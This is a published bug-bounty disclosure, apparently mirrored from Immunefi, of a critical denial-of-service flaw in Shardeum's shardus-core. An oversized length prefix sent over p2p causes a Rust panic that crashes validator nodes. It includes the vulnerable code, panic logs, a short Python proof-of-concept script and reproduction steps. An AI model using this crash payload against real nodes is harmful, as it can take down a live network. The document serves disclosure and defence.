Skip to content
DoS Audit finding Intermediate

Validators can be crashed via pp

A peer-to-peer listener reads a length prefix and allocates a buffer of that size, then passes it to the JavaScript runtime as a string. An attacker can send a length value larger than the maximum allowed string length, causing a Rust panic that crashes the node and can take down the network.

usmannk Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

33428 - [BC - Critical] Validators can be crashed via pp

Submitted on Jul 20th 2024 at 11:29:33 UTC by @usmannk for Boost | Shardeum: Core

Report ID: #33428

Report type: Blockchain/DLT

Report severity: Critical

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

Description

Brief/Intro

An attacker can cause a rust panic via p2p, crashing arbitrary nodes on the network. Repeating this simple process takes down the network.

This is a fatal error and pm2 does not recover from it.

Vulnerability Details

The shardus net listener does the following on new connections:

Rust
async fn receive(socket_stream: TcpStream, remote_addr: SocketAddr, received_msg_tx: UnboundedSender<(String, SocketAddr, Option<RequestMetadata>)>) -> ListenerResult<()> {
  let mut socket_stream: TcpStream = socket_stream;
  while let Ok(msg_len) = socket_stream.read_u32().await {
      let mut buffer: Vec<u8> = vec![0; msg_len as usize];

If an attacker sends a byte that decodes to a value larger than (2**29)-24, this vec will be allocated to that size and passed to the JS runtime via Neon as a string and cause the following panic:

11|"shardus-instance-9009"  | thread '<unnamed>' panicked at /Users/usmannkhan/.cargo/registry/src/index.crates.io-6f17d22bba15001f/neon-0.10.1/src/types/mod.rs:509:36:
11|"shardus-instance-9009"  | called `Result::unwrap()` on an `Err` value: StringOverflow(536870889)
11|"shardus-instance-9009"  | note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
11|"shardus-instance-9009"  | [Error: A panic occurred while executing a `neon::event::Channel::send` callback] {
11|"shardus-instance-9009"  |   panic: [Error: called `Result::unwrap()` on an `Err` value: StringOverflow(536870889)]

Impact Details

Total network shutdown.

Reference

See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\\_Objects/String/length#description for more info on max string length.

Proof of Concept

The following python script will crash a node running at 127.0.0.1:10009:

Python
import socket
def connect(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1', port))
    return s
MAX_STR_LEN = 2**29 - 24
s = connect(10009)
val = bytes.fromhex(hex(MAX_STR_LEN + 1)[2:])
s.send(val)
s.close()

The original report as published on Immunefi, by usmannk. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the length prefix from the network is used directly to allocate a buffer and then converted to a JavaScript string without checking against the maximum string length, causing a panic in the Neon bridge.

Impact

The node crashes with a fatal error that pm2 does not recover from, and repeating this can cause a total network shutdown.

What the attacker needed

Network access to a node's p2p port

How it was found

  1. Connect to the node's peer-to-peer port.
  2. Send a length value larger than the maximum allowed string length.
  3. Close the connection.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The software reads a number from the network that tells it how much data to expect, then creates a container of that size. If the number is too big for the JavaScript engine to handle as a string, the program crashes. An attacker can send such a number to any node and stop it from working.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by usmannk

View all

14 more disclosed reports, best first.

More from Shardeum: Core

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.